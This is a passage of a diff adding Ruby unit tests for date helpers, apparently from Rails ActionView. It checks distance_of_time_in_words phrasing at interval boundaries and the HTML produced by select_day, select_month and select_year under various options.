+    # Note that we are including a 30-second boundary around the interval we
+    # want to test. For instance, "1 minute" is actually 30s to 1m29s. The
+    # reason for doing this is simple -- in `distance_of_time_to_words`, when we
+    # take the distance between our two Time objects in seconds and convert it
+    # to minutes, we round the number. So 29s gets rounded down to 0m, 30s gets
+    # rounded up to 1m, and 1m29s gets rounded down to 1m. A similar thing
+    # happens with the other cases.
+
+    # First case 0..1 minute
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
+
+    # 2 minutes up to 45 minutes
+    assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
+    assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
+
+    # 45 minutes up to 90 minutes
+    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
+
+    # 90 minutes up to 24 hours
+    assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
+    assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
+
+    # 24 hours up to 42 hours
+    assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
+
+    # 42 hours up to 30 days
+    assert_equal "2 days", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 30.seconds)
+    assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
+    assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
+
+    # 30 days up to 60 days
+    assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "about 1 month", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 29.seconds)
+    assert_equal "about 2 months", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "about 2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
+
+    # 60 days up to 365 days
+    assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
+
+    # >= 365 days
+    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years - 30.seconds)
+    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
+    assert_equal "over 1 year",     distance_of_time_in_words(from, to + 1.years + 6.months)
+
+    assert_equal "almost 2 years",  distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
+    assert_equal "about 2 years",   distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
+    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
+    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
+    assert_equal "almost 3 years",  distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
+
+    assert_equal "almost 5 years",  distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
+    assert_equal "about 5 years",   distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
+    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
+    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
+    assert_equal "almost 6 years",  distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
+
+    assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
+    assert_equal "about 10 years",  distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
+    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
+    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
+    assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
+
+    # test to < from
+    assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, include_seconds: true)
+    assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, include_seconds: false)
+  end
+
+  def test_distance_in_words
+    from = Time.utc(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from)
+  end
+
+  def test_distance_in_words_with_nil_input
+    assert_raises(ArgumentError) { distance_of_time_in_words(nil) }
+    assert_raises(ArgumentError) { distance_of_time_in_words(0, nil) }
+  end
+
+  def test_distance_in_words_with_mixed_argument_types
+    assert_equal "1 minute", distance_of_time_in_words(0, Time.at(60))
+    assert_equal "10 minutes", distance_of_time_in_words(Time.at(600), 0)
+  end
+
+  def test_distance_in_words_doesnt_use_the_quotient_operator
+    rubinius_skip "Date is written in Ruby and relies on Fixnum#/"
+    jruby_skip "Date is written in Ruby and relies on Fixnum#/"
+
+    klass = RUBY_VERSION > "2.4" ? Integer : Fixnum
+
+    # Make sure that we avoid {Integer,Fixnum}#/ (redefined by mathn)
+    klass.send :private, :/
+
+    from = Time.utc(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from)
+  ensure
+    klass.send :public, :/
+  end
+
+  def test_time_ago_in_words_passes_include_seconds
+    assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, include_seconds: true)
+    assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, include_seconds: false)
+  end
+
+  def test_distance_in_words_with_time_zones
+    from = Time.mktime(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from.in_time_zone("Alaska"))
+    assert_distance_of_time_in_words(from.in_time_zone("Hawaii"))
+  end
+
+  def test_distance_in_words_with_different_time_zones
+    from = Time.mktime(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(
+      from.in_time_zone("Alaska"),
+      from.in_time_zone("Hawaii")
+    )
+  end
+
+  def test_distance_in_words_with_dates
+    start_date = Date.new 1975, 1, 31
+    end_date = Date.new 1977, 1, 31
+    assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
+
+    start_date = Date.new 1982, 12, 3
+    end_date = Date.new 2010, 11, 30
+    assert_equal("almost 28 years", distance_of_time_in_words(start_date, end_date))
+    assert_equal("almost 28 years", distance_of_time_in_words(end_date, start_date))
+  end
+
+  def test_distance_in_words_with_integers
+    assert_equal "1 minute", distance_of_time_in_words(59)
+    assert_equal "about 1 hour", distance_of_time_in_words(60 * 60)
+    assert_equal "1 minute", distance_of_time_in_words(0, 59)
+    assert_equal "about 1 hour", distance_of_time_in_words(60 * 60, 0)
+    assert_equal "about 3 years", distance_of_time_in_words(10**8)
+    assert_equal "about 3 years", distance_of_time_in_words(0, 10**8)
+  end
+
+  def test_distance_in_words_with_times
+    assert_equal "1 minute", distance_of_time_in_words(30.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(59.seconds)
+    assert_equal "2 minutes", distance_of_time_in_words(119.seconds)
+    assert_equal "2 minutes", distance_of_time_in_words(1.minute + 59.seconds)
+    assert_equal "3 minutes", distance_of_time_in_words(2.minute + 30.seconds)
+    assert_equal "44 minutes", distance_of_time_in_words(44.minutes + 29.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(44.minutes + 30.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(60.minutes)
+
+    # include seconds
+    assert_equal "half a minute", distance_of_time_in_words(39.seconds, 0, include_seconds: true)
+    assert_equal "less than a minute", distance_of_time_in_words(40.seconds, 0, include_seconds: true)
+    assert_equal "less than a minute", distance_of_time_in_words(59.seconds, 0, include_seconds: true)
+    assert_equal "1 minute", distance_of_time_in_words(60.seconds, 0, include_seconds: true)
+  end
+
+  def test_time_ago_in_words
+    assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
+  end
+
+  def test_select_day
+    expected = %(<select id="date_day" name="date[day]">\n).dup
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
+    assert_dom_equal expected, select_day(16)
+  end
+
+  def test_select_day_with_blank
+    expected = %(<select id="date_day" name="date[day]">\n).dup
+    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), include_blank: true)
+    assert_dom_equal expected, select_day(16, include_blank: true)
+  end
+
+  def test_select_day_nil_with_blank
+    expected = %(<select id="date_day" name="date[day]">\n).dup
+    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(nil, include_blank: true)
+  end
+
+  def test_select_day_with_two_digit_numbers
+    expected = %(<select id="date_day" name="date[day]">\n).dup
+    expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), use_two_digit_numbers: true)
+    assert_dom_equal expected, select_day(2, use_two_digit_numbers: true)
+  end
+
+  def test_select_day_with_html_options
+    expected = %(<select id="date_day" name="date[day]" class="selector">\n).dup
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, class: "selector")
+    assert_dom_equal expected, select_day(16, {}, class: "selector")
+  end
+
+  def test_select_day_with_default_prompt
+    expected = %(<select id="date_day" name="date[day]">\n).dup
+    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, prompt: true)
+  end
+
+  def test_select_day_with_custom_prompt
+    expected = %(<select id="date_day" name="date[day]">\n).dup
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, prompt: "Choose day")
+  end
+
+  def test_select_day_with_generic_with_css_classes
+    expected = %(<select id="date_day" name="date[day]" class="day">\n).dup
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, with_css_classes: true)
+  end
+
+  def test_select_day_with_custom_with_css_classes
+    expected = %(<select id="date_day" name="date[day]" class="my-day">\n).dup
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, with_css_classes: { day: "my-day" })
+  end
+
+  def test_select_month
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
+    assert_dom_equal expected, select_month(8)
+  end
+
+  def test_select_month_with_two_digit_numbers
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2011, 8, 16), use_two_digit_numbers: true)
+    assert_dom_equal expected, select_month(8, use_two_digit_numbers: true)
+  end
+
+  def test_select_month_with_disabled
+    expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n).dup
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), disabled: true)
+    assert_dom_equal expected, select_month(8, disabled: true)
+  end
+
+  def test_select_month_with_field_name_override
+    expected = %(<select id="date_mois" name="date[mois]">\n).dup
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), field_name: "mois")
+    assert_dom_equal expected, select_month(8, field_name: "mois")
+  end
+
+  def test_select_month_with_blank
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), include_blank: true)
+    assert_dom_equal expected, select_month(8, include_blank: true)
+  end
+
+  def test_select_month_nil_with_blank
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(nil, include_blank: true)
+  end
+
+  def test_select_month_with_numbers
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), use_month_numbers: true)
+    assert_dom_equal expected, select_month(8, use_month_numbers: true)
+  end
+
+  def test_select_month_with_numbers_and_names
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 - December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), add_month_numbers: true)
+    assert_dom_equal expected, select_month(8, add_month_numbers: true)
+  end
+
+  def test_select_month_with_format_string
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="1">January (01)</option>\n<option value="2">February (02)</option>\n<option value="3">March (03)</option>\n<option value="4">April (04)</option>\n<option value="5">May (05)</option>\n<option value="6">June (06)</option>\n<option value="7">July (07)</option>\n<option value="8" selected="selected">August (08)</option>\n<option value="9">September (09)</option>\n<option value="10">October (10)</option>\n<option value="11">November (11)</option>\n<option value="12">December (12)</option>\n)
+    expected << "</select>\n"
+
+    format_string = "%{name} (%<number>02d)"
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), month_format_string: format_string)
+    assert_dom_equal expected, select_month(8, month_format_string: format_string)
+  end
+
+  def test_select_month_with_numbers_and_names_with_abbv
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), add_month_numbers: true, use_short_month: true)
+    assert_dom_equal expected, select_month(8, add_month_numbers: true, use_short_month: true)
+  end
+
+  def test_select_month_with_abbv
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), use_short_month: true)
+    assert_dom_equal expected, select_month(8, use_short_month: true)
+  end
+
+  def test_select_month_with_custom_names
+    month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), use_month_names: month_names)
+    assert_dom_equal expected, select_month(8, use_month_names: month_names)
+  end
+
+  def test_select_month_with_zero_indexed_custom_names
+    month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month - 1]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), use_month_names: month_names)
+    assert_dom_equal expected, select_month(8, use_month_names: month_names)
+  end
+
+  def test_select_month_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, use_hidden: true)
+  end
+
+  def test_select_month_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, use_hidden: true, field_name: "mois")
+  end
+
+  def test_select_month_with_html_options
+    expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n).dup
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, class: "selector", accesskey: "M")
+  end
+
+  def test_select_month_with_default_prompt
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, prompt: true)
+  end
+
+  def test_select_month_with_custom_prompt
+    expected = %(<select id="date_month" name="date[month]">\n).dup
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, prompt: "Choose month")
+  end
+
+  def test_select_month_with_generic_with_css_classes
+    expected = %(<select id="date_month" name="date[month]" class="month">\n).dup
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, with_css_classes: true)
+  end
+
+  def test_select_month_with_custom_with_css_classes
+    expected = %(<select id="date_month" name="date[month]" class="my-month">\n).dup
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, with_css_classes: { month: "my-month" })
+  end
+
+  def test_select_year
+    expected = %(<select id="date_year" name="date[year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005)
+    assert_dom_equal expected, select_year(2003, start_year: 2003, end_year: 2005)
+  end
+
+  def test_select_year_with_disabled
+    expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), disabled: true, start_year: 2003, end_year: 2005)
+    assert_dom_equal expected, select_year(2003, disabled: true, start_year: 2003, end_year: 2005)
+  end
+
+  def test_select_year_with_field_name_override
+    expected = %(<select id="date_annee" name="date[annee]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, field_name: "annee")
+    assert_dom_equal expected, select_year(2003, start_year: 2003, end_year: 2005, field_name: "annee")
+  end
+
+  def test_select_year_with_type_discarding
+    expected = %(<select id="date_year" name="date_year">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(
+      Time.mktime(2003, 8, 16), prefix: "date_year", discard_type: true, start_year: 2003, end_year: 2005)
+    assert_dom_equal expected, select_year(
